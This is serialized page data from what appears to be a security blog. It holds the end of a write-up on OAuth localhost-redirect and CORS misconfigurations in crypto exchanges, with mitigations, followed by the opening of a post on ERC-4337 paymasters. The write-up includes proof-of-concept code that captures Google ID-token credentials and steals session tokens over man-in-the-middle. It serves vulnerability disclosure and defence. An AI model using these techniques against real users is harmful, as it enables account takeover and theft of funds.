unsafe",{"type":23,"tag":75,"props":111620,"children":111621},{"style":94},[111622],{"type":29,"value":401},{"type":23,"tag":75,"props":111624,"children":111625},{"class":77,"line":3524},[111626,111631],{"type":23,"tag":75,"props":111627,"children":111628},{"style":209},[111629],{"type":29,"value":111630},"                                    +",{"type":23,"tag":75,"props":111632,"children":111633},{"style":1266},[111634],{"type":29,"value":111635},"\"\"\"\n",{"type":23,"tag":75,"props":111637,"children":111638},{"class":77,"line":4890},[111639],{"type":23,"tag":75,"props":111640,"children":111641},{"style":1266},[111642],{"type":29,"value":111643},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":75,"props":111645,"children":111646},{"class":77,"line":4937},[111647],{"type":23,"tag":75,"props":111648,"children":111649},{"style":1266},[111650],{"type":29,"value":111651},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":75,"props":111653,"children":111654},{"class":77,"line":4950},[111655],{"type":23,"tag":75,"props":111656,"children":111657},{"style":1266},[111658],{"type":29,"value":346},{"type":23,"tag":75,"props":111660,"children":111661},{"class":77,"line":4958},[111662],{"type":23,"tag":75,"props":111663,"children":111664},{"emptyLinePlaceholder":15},[111665],{"type":29,"value":276},{"type":23,"tag":75,"props":111667,"children":111668},{"class":77,"line":4967},[111669],{"type":23,"tag":75,"props":111670,"children":111671},{"style":1266},[111672],{"type":29,"value":111673},"    window.onload = async function () {\n",{"type":23,"tag":75,"props":111675,"children":111676},{"class":77,"line":4975},[111677],{"type":23,"tag":75,"props":111678,"children":111679},{"style":1266},[111680],{"type":29,"value":111681},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":75,"props":111683,"children":111684},{"class":77,"line":5016},[111685],{"type":23,"tag":75,"props":111686,"children":111687},{"style":1266},[111688],{"type":29,"value":111689},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":75,"props":111691,"children":111692},{"class":77,"line":5025},[111693],{"type":23,"tag":75,"props":111694,"children":111695},{"style":1266},[111696],{"type":29,"value":111697},"      google.accounts.id.initialize({\n",{"type":23,"tag":75,"props":111699,"children":111700},{"class":77,"line":5033},[111701],{"type":23,"tag":75,"props":111702,"children":111703},{"style":1266},[111704],{"type":29,"value":111705},"        client_id: client_id,\n",{"type":23,"tag":75,"props":111707,"children":111708},{"class":77,"line":5041},[111709],{"type":23,"tag":75,"props":111710,"children":111711},{"style":1266},[111712],{"type":29,"value":111713},"        callback: handleCredentialResponse,\n",{"type":23,"tag":75,"props":111715,"children":111716},{"class":77,"line":5050},[111717],{"type":23,"tag":75,"props":111718,"children":111719},{"style":1266},[111720],{"type":29,"value":111721},"        auto_select: true\n",{"type":23,"tag":75,"props":111723,"children":111724},{"class":77,"line":5058},[111725],{"type":23,"tag":75,"props":111726,"children":111727},{"style":1266},[111728],{"type":29,"value":18557},{"type":23,"tag":75,"props":111730,"children":111731},{"class":77,"line":5083},[111732],{"type":23,"tag":75,"props":111733,"children":111734},{"emptyLinePlaceholder":15},[111735],{"type":29,"value":276},{"type":23,"tag":75,"props":111737,"children":111738},{"class":77,"line":5108},[111739],{"type":23,"tag":75,"props":111740,"children":111741},{"style":1266},[111742],{"type":29,"value":111743},"      google.accounts.id.renderButton(\n",{"type":23,"tag":75,"props":111745,"children":111746},{"class":77,"line":5137},[111747],{"type":23,"tag":75,"props":111748,"children":111749},{"style":1266},[111750],{"type":29,"value":111751},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":75,"props":111753,"children":111754},{"class":77,"line":5163},[111755],{"type":23,"tag":75,"props":111756,"children":111757},{"style":1266},[111758],{"type":29,"value":111759},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":75,"props":111761,"children":111762},{"class":77,"line":5172},[111763],{"type":23,"tag":75,"props":111764,"children":111765},{"style":1266},[111766],{"type":29,"value":18030},{"type":23,"tag":75,"props":111768,"children":111769},{"class":77,"line":5206},[111770],{"type":23,"tag":75,"props":111771,"children":111772},{"emptyLinePlaceholder":15},[111773],{"type":29,"value":276},{"type":23,"tag":75,"props":111775,"children":111776},{"class":77,"line":5214},[111777],{"type":23,"tag":75,"props":111778,"children":111779},{"style":1266},[111780],{"type":29,"value":111781},"      google.accounts.id.prompt();\n",{"type":23,"tag":75,"props":111783,"children":111784},{"class":77,"line":5227},[111785],{"type":23,"tag":75,"props":111786,"children":111787},{"style":1266},[111788],{"type":29,"value":50188},{"type":23,"tag":75,"props":111790,"children":111791},{"class":77,"line":5259},[111792,111797,111801,111806],{"type":23,"tag":75,"props":111793,"children":111794},{"style":1266},[111795],{"type":29,"value":111796},"                                    \"\"\"",{"type":23,"tag":75,"props":111798,"children":111799},{"style":94},[111800],{"type":29,"value":557},{"type":23,"tag":75,"props":111802,"children":111803},{"style":88},[111804],{"type":29,"value":111805},"trimIndent",{"type":23,"tag":75,"props":111807,"children":111808},{"style":94},[111809],{"type":29,"value":3249},{"type":23,"tag":75,"props":111811,"children":111812},{"class":77,"line":5315},[111813],{"type":23,"tag":75,"props":111814,"children":111815},{"style":94},[111816],{"type":29,"value":111817},"                                }\n",{"type":23,"tag":75,"props":111819,"children":111820},{"class":77,"line":5328},[111821],{"type":23,"tag":75,"props":111822,"children":111823},{"style":94},[111824],{"type":29,"value":82220},{"type":23,"tag":75,"props":111826,"children":111827},{"class":77,"line":5336},[111828],{"type":23,"tag":75,"props":111829,"children":111830},{"style":94},[111831],{"type":29,"value":82150},{"type":23,"tag":75,"props":111833,"children":111834},{"class":77,"line":5344},[111835,111839],{"type":23,"tag":75,"props":111836,"children":111837},{"style":88},[111838],{"type":29,"value":82158},{"type":23,"tag":75,"props":111840,"children":111841},{"style":94},[111842],{"type":29,"value":401},{"type":23,"tag":75,"props":111844,"children":111845},{"class":77,"line":5352},[111846,111850,111854,111858,111863],{"type":23,"tag":75,"props":111847,"children":111848},{"style":88},[111849],{"type":29,"value":82170},{"type":23,"tag":75,"props":111851,"children":111852},{"style":94},[111853],{"type":29,"value":20837},{"type":23,"tag":75,"props":111855,"children":111856},{"style":209},[111857],{"type":29,"value":7862},{"type":23,"tag":75,"props":111859,"children":111860},{"style":1266},[111861],{"type":29,"value":111862},"\"Login here:\"",{"type":23,"tag":75,"props":111864,"children":111865},{"style":94},[111866],{"type":29,"value":7477},{"type":23,"tag":75,"props":111868,"children":111869},{"class":77,"line":5392},[111870,111875],{"type":23,"tag":75,"props":111871,"children":111872},{"style":88},[111873],{"type":29,"value":111874},"                            div",{"type":23,"tag":75,"props":111876,"children":111877},{"style":94},[111878],{"type":29,"value":401},{"type":23,"tag":75,"props":111880,"children":111881},{"class":77,"line":5400},[111882,111887,111891],{"type":23,"tag":75,"props":111883,"children":111884},{"style":94},[111885],{"type":29,"value":111886},"                                id ",{"type":23,"tag":75,"props":111888,"children":111889},{"style":209},[111890],{"type":29,"value":212},{"type":23,"tag":75,"props":111892,"children":111893},{"style":1266},[111894],{"type":29,"value":111895}," \"g_id_signin\"\n",{"type":23,"tag":75,"props":111897,"children":111898},{"class":77,"line":12616},[111899],{"type":23,"tag":75,"props":111900,"children":111901},{"style":94},[111902],{"type":29,"value":82220},{"type":23,"tag":75,"props":111904,"children":111905},{"class":77,"line":12624},[111906],{"type":23,"tag":75,"props":111907,"children":111908},{"style":94},[111909],{"type":29,"value":82150},{"type":23,"tag":75,"props":111911,"children":111913},{"class":77,"line":111912},62,[111914],{"type":23,"tag":75,"props":111915,"children":111916},{"style":94},[111917],{"type":29,"value":82235},{"type":23,"tag":75,"props":111919,"children":111921},{"class":77,"line":111920},63,[111922],{"type":23,"tag":75,"props":111923,"children":111924},{"style":94},[111925],{"type":29,"value":4964},{"type":23,"tag":75,"props":111927,"children":111929},{"class":77,"line":111928},64,[111930],{"type":23,"tag":75,"props":111931,"children":111932},{"style":94},[111933],{"type":29,"value":5022},{"type":23,"tag":75,"props":111935,"children":111937},{"class":77,"line":111936},65,[111938,111942,111946,111950,111954,111958],{"type":23,"tag":75,"props":111939,"children":111940},{"style":94},[111941],{"type":29,"value":82257},{"type":23,"tag":75,"props":111943,"children":111944},{"style":88},[111945],{"type":29,"value":82262},{"type":23,"tag":75,"props":111947,"children":111948},{"style":94},[111949],{"type":29,"value":82267},{"type":23,"tag":75,"props":111951,"children":111952},{"style":209},[111953],{"type":29,"value":212},{"type":23,"tag":75,"props":111955,"children":111956},{"style":82},[111957],{"type":29,"value":23713},{"type":23,"tag":75,"props":111959,"children":111960},{"style":94},[111961],{"type":29,"value":653},{"type":23,"tag":75,"props":111963,"children":111965},{"class":77,"line":111964},66,[111966],{"type":23,"tag":75,"props":111967,"children":111968},{"style":94},[111969],{"type":29,"value":346},{"type":23,"tag":32,"props":111971,"children":111972},{},[111973],{"type":29,"value":111974},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":32,"props":111976,"children":111977},{},[111978],{"type":29,"value":111979},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":923,"props":111981,"children":111983},{"id":111982},"how-to-mitigate",[111984],{"type":29,"value":111985},"How to Mitigate",{"type":23,"tag":32,"props":111987,"children":111988},{},[111989],{"type":29,"value":111990},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":24,"props":111992,"children":111994},{"id":111993},"exploiting-cors",[111995],{"type":29,"value":111996},"Exploiting CORS",{"type":23,"tag":32,"props":111998,"children":111999},{},[112000],{"type":29,"value":112001},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":32,"props":112003,"children":112004},{},[112005,112007,112013],{"type":29,"value":112006},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":71,"props":112008,"children":112010},{"className":112009},[],[112011],{"type":29,"value":112012},"http://",{"type":29,"value":112014}," schema for any subdomain:",{"type":23,"tag":64,"props":112016,"children":112020},{"className":112017,"code":112018,"language":112019,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[112021],{"type":23,"tag":71,"props":112022,"children":112023},{"__ignoreMap":7},[112024,112032,112040,112048],{"type":23,"tag":75,"props":112025,"children":112026},{"class":77,"line":78},[112027],{"type":23,"tag":75,"props":112028,"children":112029},{},[112030],{"type":29,"value":112031},"HTTP 200 OK\n",{"type":23,"tag":75,"props":112033,"children":112034},{"class":77,"line":100},[112035],{"type":23,"tag":75,"props":112036,"children":112037},{},[112038],{"type":29,"value":112039},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":75,"props":112041,"children":112042},{"class":77,"line":121},[112043],{"type":23,"tag":75,"props":112044,"children":112045},{},[112046],{"type":29,"value":112047},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":75,"props":112049,"children":112050},{"class":77,"line":138},[112051],{"type":23,"tag":75,"props":112052,"children":112053},{},[112054],{"type":29,"value":21566},{"type":23,"tag":923,"props":112056,"children":112058},{"id":112057},"cors-misconfiguration-by-lack-of-tls",[112059],{"type":29,"value":112060},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":32,"props":112062,"children":112063},{},[112064,112066,112072],{"type":29,"value":112065},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":71,"props":112067,"children":112069},{"className":112068},[],[112070],{"type":29,"value":112071},"exchange.com",{"type":29,"value":112073}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":32,"props":112075,"children":112076},{},[112077],{"type":29,"value":112078},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":27910,"props":112080,"children":112081},{},[112082,112102],{"type":23,"tag":2801,"props":112083,"children":112084},{},[112085,112087,112092,112094,112100],{"type":29,"value":112086},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":71,"props":112088,"children":112090},{"className":112089},[],[112091],{"type":29,"value":112012},{"type":29,"value":112093}," --> ",{"type":23,"tag":71,"props":112095,"children":112097},{"className":112096},[],[112098],{"type":29,"value":112099},"https://",{"type":29,"value":112101}," requests, even if same-site",{"type":23,"tag":2801,"props":112103,"children":112104},{},[112105,112107],{"type":29,"value":112106},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":71,"props":112108,"children":112110},{"className":112109},[],[112111],{"type":29,"value":48956},{"type":23,"tag":923,"props":112113,"children":112115},{"id":112114},"exploit-1",[112116],{"type":29,"value":110446},{"type":23,"tag":32,"props":112118,"children":112119},{},[112120],{"type":29,"value":112121},"To exploit it, we must follow some steps:",{"type":23,"tag":2797,"props":112123,"children":112124},{},[112125,112130,112135],{"type":23,"tag":2801,"props":112126,"children":112127},{},[112128],{"type":29,"value":112129},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":2801,"props":112131,"children":112132},{},[112133],{"type":29,"value":112134},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":2801,"props":112136,"children":112137},{},[112138,112140,112145],{"type":29,"value":112139},"Use ",{"type":23,"tag":71,"props":112141,"children":112143},{"className":112142},[],[112144],{"type":29,"value":48956},{"type":29,"value":112146}," with CORS to do something malicious using the victim's account",{"type":23,"tag":32,"props":112148,"children":112149},{},[112150],{"type":29,"value":112151},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":32,"props":112153,"children":112154},{},[112155,112157,112162],{"type":29,"value":112156},"Once the redirect to the ",{"type":23,"tag":71,"props":112158,"children":112160},{"className":112159},[],[112161],{"type":29,"value":112012},{"type":29,"value":112163}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":64,"props":112165,"children":112167},{"className":42559,"code":112166,"language":42561,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[112168],{"type":23,"tag":71,"props":112169,"children":112170},{"__ignoreMap":7},[112171,112194,112231,112248,112265,112272,112313],{"type":23,"tag":75,"props":112172,"children":112173},{"class":77,"line":78},[112174,112178,112182,112186,112190],{"type":23,"tag":75,"props":112175,"children":112176},{"style":94},[112177],{"type":29,"value":643},{"type":23,"tag":75,"props":112179,"children":112180},{"style":82},[112181],{"type":29,"value":47337},{"type":23,"tag":75,"props":112183,"children":112184},{"style":94},[112185],{"type":29,"value":50886},{"type":23,"tag":75,"props":112187,"children":112188},{"style":82},[112189],{"type":29,"value":26057},{"type":23,"tag":75,"props":112191,"children":112192},{"style":94},[112193],{"type":29,"value":401},{"type":23,"tag":75,"props":112195,"children":112196},{"class":77,"line":100},[112197,112201,112206,112210,112214,112218,112222,112227],{"type":23,"tag":75,"props":112198,"children":112199},{"style":82},[112200],{"type":29,"value":19114},{"type":23,"tag":75,"props":112202,"children":112203},{"style":110},[112204],{"type":29,"value":112205}," res",{"type":23,"tag":75,"props":112207,"children":112208},{"style":209},[112209],{"type":29,"value":1193},{"type":23,"tag":75,"props":112211,"children":112212},{"style":175},[112213],{"type":29,"value":47403},{"type":23,"tag":75,"props":112215,"children":112216},{"style":88},[112217],{"type":29,"value":44122},{"type":23,"tag":75,"props":112219,"children":112220},{"style":94},[112221],{"type":29,"value":643},{"type":23,"tag":75,"props":112223,"children":112224},{"style":1266},[112225],{"type":29,"value":112226},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":75,"props":112228,"children":112229},{"style":94},[112230],{"type":29,"value":60069},{"type":23,"tag":75,"props":112232,"children":112233},{"class":77,"line":121},[112234,112239,112244],{"type":23,"tag":75,"props":112235,"children":112236},{"style":110},[112237],{"type":29,"value":112238},"    credentials:",{"type":23,"tag":75,"props":112240,"children":112241},{"style":1266},[112242],{"type":29,"value":112243}," 'include'",{"type":23,"tag":75,"props":112245,"children":112246},{"style":94},[112247],{"type":29,"value":118},{"type":23,"tag":75,"props":112249,"children":112250},{"class":77,"line":138},[112251,112256,112261],{"type":23,"tag":75,"props":112252,"children":112253},{"style":110},[112254],{"type":29,"value":112255},"    method:",{"type":23,"tag":75,"props":112257,"children":112258},{"style":1266},[112259],{"type":29,"value":112260}," 'POST'",{"type":23,"tag":75,"props":112262,"children":112263},{"style":94},[112264],{"type":29,"value":118},{"type":23,"tag":75,"props":112266,"children":112267},{"class":77,"line":161},[112268],{"type":23,"tag":75,"props":112269,"children":112270},{"style":94},[112271],{"type":29,"value":108529},{"type":23,"tag":75,"props":112273,"children":112274},{"class":77,"line":196},[112275,112280,112284,112289,112293,112297,112301,112305,112309],{"type":23,"tag":75,"props":112276,"children":112277},{"style":110},[112278],{"type":29,"value":112279},"  console",{"type":23,"tag":75,"props":112281,"children":112282},{"style":94},[112283],{"type":29,"value":557},{"type":23,"tag":75,"props":112285,"children":112286},{"style":88},[112287],{"type":29,"value":112288},"log",{"type":23,"tag":75,"props":112290,"children":112291},{"style":94},[112292],{"type":29,"value":643},{"type":23,"tag":75,"props":112294,"children":112295},{"style":175},[112296],{"type":29,"value":44109},{"type":23,"tag":75,"props":112298,"children":112299},{"style":110},[112300],{"type":29,"value":112205},{"type":23,"tag":75,"props":112302,"children":112303},{"style":94},[112304],{"type":29,"value":557},{"type":23,"tag":75,"props":112306,"children":112307},{"style":88},[112308],{"type":29,"value":45191},{"type":23,"tag":75,"props":112310,"children":112311},{"style":94},[112312],{"type":29,"value":1430},{"type":23,"tag":75,"props":112314,"children":112315},{"class":77,"line":220},[112316],{"type":23,"tag":75,"props":112317,"children":112318},{"style":94},[112319],{"type":29,"value":112320},"})();\n",{"type":23,"tag":32,"props":112322,"children":112323},{},[112324],{"type":29,"value":112325},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":923,"props":112327,"children":112328},{"id":51523},[112329],{"type":29,"value":51526},{"type":23,"tag":32,"props":112331,"children":112332},{},[112333,112335,112340],{"type":29,"value":112334},"As mitigation, it is recommended to remove all ",{"type":23,"tag":71,"props":112336,"children":112338},{"className":112337},[],[112339],{"type":29,"value":112012},{"type":29,"value":112341}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":32,"props":112343,"children":112344},{},[112345],{"type":29,"value":112346},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":24,"props":112348,"children":112349},{"id":14115},[112350],{"type":29,"value":14118},{"type":23,"tag":32,"props":112352,"children":112353},{},[112354],{"type":29,"value":112355},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":32,"props":112357,"children":112358},{},[112359],{"type":29,"value":112360},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":14130,"props":112362,"children":112363},{},[112364],{"type":29,"value":14134},{"title":7,"searchDepth":100,"depth":100,"links":112366},[112367,112372,112377],{"id":110051,"depth":100,"text":110054,"children":112368},[112369,112370,112371],{"id":110062,"depth":121,"text":110065},{"id":110419,"depth":121,"text":110422},{"id":111982,"depth":121,"text":111985},{"id":111993,"depth":100,"text":111996,"children":112373},[112374,112375,112376],{"id":112057,"depth":121,"text":112060},{"id":112114,"depth":121,"text":110446},{"id":51523,"depth":121,"text":51526},{"id":14115,"depth":100,"text":14118},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":112382,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":112383,"description":112384,"date":112385,"author":112386,"image":112387,"isFeatured":15,"onBlogPage":15,"tags":112389,"body":112392,"_type":14157,"_id":118164,"_source":14159,"_file":118165,"_stem":118166,"_extension":14162},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":112388,"width":107603,"height":14},"/posts/paymasters-evm/title.png",[112390,112391],"evm","ERC-4337",{"type":20,"children":112393,"toc":118143},[112394,112398,112409,112414,112419,112424,112430,112436,112441,112446,112452,112457,112485,112491,112496,112503,112508,112518,112523,112549,112555,112575,112581,112601,112609,112640,112673,112682,112694,112719,112731,112744,112787,112793,112826,112925,112944,112967,112972,112978,113006,113153,113158,113185,113191,113203,113215,113224,113259,113264,114749,114777,114798,114803,114815,114824,114829,114847,114870,114875,114881,114935,114941,114974,115009,115833,115869,115905,115971,116004,116502,116555,116567,117131,117200,117227,117849,117891,117918,117930,117991,118010,118044,118049,118054,118059,118063,118068,118103,118129,118134,118139],{"type":23,"tag":46567,"props":112395,"children":112396},{"id":26},[112397],{"type":29,"value":30},{"type":23,"tag":32,"props":112399,"children":112400},{},[112401,112407],{"type":23,"tag":940,"props":112402,"children":112405},{"href":112403,"rel":112404},"https://docs.erc4337.io/",[944],[112406],{"type":29,"value":112391},{"type":29,"value":112408}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":32,"props":112410,"children":112411},{},[112412],{"type":29,"value":112413},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":32,"props":112415,"children":112416},{},[112417],{"type":29,"value":112418},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":32,"props":112420,"children":112421},{},[112422],{"type":29,"value":112423},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":46567,"props":112425,"children":112427},{"id":112426},"erc4337-overview",[112428],{"type":29,"value":112429},"ERC4337 Overview",{"type":23,"tag":24,"props":112431,"children":112433},{"id":112432},"traditional-eoas-vs-smart-contract-wallets",[112434],{"type":29,"value":112435},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":32,"props":112437,"children":112438},{},[112439],{"type":29,"value":112440},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":32,"props":112442,"children":112443},{},[112444],{"type":29,"value":112445},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":24,"props":112447,"children":112449},{"id":112448},"why-erc4337-was-introduced",[112450],{"type":29,"value":112451},"Why ERC‑4337 Was Introduced",{"type":23,"tag":32,"props":112453,"children":112454},{},[112455],{"type":29,"value":112456},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":27910,"props":112458,"children":112459},{},[112460,112465,112470,112475,112480],{"type":23,"tag":2801,"props":112461,"children":112462},{},[112463],{"type":29,"value":112464},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":2801,"props":112466,"children":112467},{},[112468],{"type":29,"value":112469},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":2801,"props":112471,"children":112472},{},[112473],{"type":29,"value":112474},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":2801,"props":112476,"children":112477},{},[112478],{"type":29,"value":112479},"Using custom signature schemes or multisig logic",{"type":23,"tag":2801,"props":112481,"children":112482},{},[112483],{"type":29,"value":112484},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":24,"props":112486,"children":112488},{"id":112487},"how-erc-4337-works",[112489],{"type":29,"value":112490},"How ERC-4337 Works",{"type":23,"tag":32,"props":112492,"children":112493},{},[112494],{"type":29,"value":112495},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":32,"props":112497,"children":112498},{},[112499],{"type":23,"tag":15189,"props":112500,"children":112502},{"alt":61763,"src":112501},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":32,"props":112504,"children":112505},{},[112506],{"type":29,"value":112507},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":923,"props":112509,"children":112511},{"id":112510},"useroperation",[112512],{"type":23,"tag":71,"props":112513,"children":112515},{"className":112514},[],[112516],{"type":29,"value":112517},"UserOperation",{"type":23,"tag":32,"props":112519,"children":112520},{},[112521],{"type":29,"value":112522},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":27910,"props":112524,"children":112525},{},[112526,112531,112536],{"type":23,"tag":2801,"props":112527,"children":112528},{},[112529],{"type":29,"value":112530},"Target contract call(s)",{"type":23,"tag":2801,"props":112532,"children":112533},{},[112534],{"type":29,"value":112535},"Signature or validation metadata",{"type":23,"tag":2801,"props":112537,"children":112538},{},[112539,112541,112547],{"type":29,"value":112540},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":71,"props":112542,"children":112544},{"className":112543},[],[112545],{"type":29,"value":112546},"UserOperations",{"type":29,"value":112548}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":923,"props":112550,"children":112552},{"id":112551},"smart-contract-account",[112553],{"type":29,"value":112554},"Smart Contract Account",{"type":23,"tag":32,"props":112556,"children":112557},{},[112558,112560,112566,112567,112573],{"type":29,"value":112559},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":71,"props":112561,"children":112563},{"className":112562},[],[112564],{"type":29,"value":112565},"validateUserOp()",{"type":29,"value":2721},{"type":23,"tag":71,"props":112568,"children":112570},{"className":112569},[],[112571],{"type":29,"value":112572},"executeUserOp()",{"type":29,"value":112574},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":923,"props":112576,"children":112578},{"id":112577},"bundler",[112579],{"type":29,"value":112580},"Bundler",{"type":23,"tag":32,"props":112582,"children":112583},{},[112584,112586,112591,112593,112599],{"type":29,"value":112585},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":71,"props":112587,"children":112589},{"className":112588},[],[112590],{"type":29,"value":112546},{"type":29,"value":112592},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":71,"props":112594,"children":112596},{"className":112595},[],[112597],{"type":29,"value":112598},"EntryPoint",{"type":29,"value":112600}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":923,"props":112602,"children":112603},{"id":25959},[112604],{"type":23,"tag":71,"props":112605,"children":112607},{"className":112606},[],[112608],{"type":29,"value":112598},{"type":23,"tag":32,"props":112610,"children":112611},{},[112612,112613,112618,112620,112625,112627,112631,112633,112638],{"type":29,"value":2846},{"type":23,"tag":71,"props":112614,"children":112616},{"className":112615},[],[112617],{"type":29,"value":112598},{"type":29,"value":112619}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":71,"props":112621,"children":112623},{"className":112622},[],[112624],{"type":29,"value":112546},{"type":29,"value":112626}," submitted by a ",{"type":23,"tag":16596,"props":112628,"children":112629},{},[112630],{"type":29,"value":112580},{"type":29,"value":112632},", the 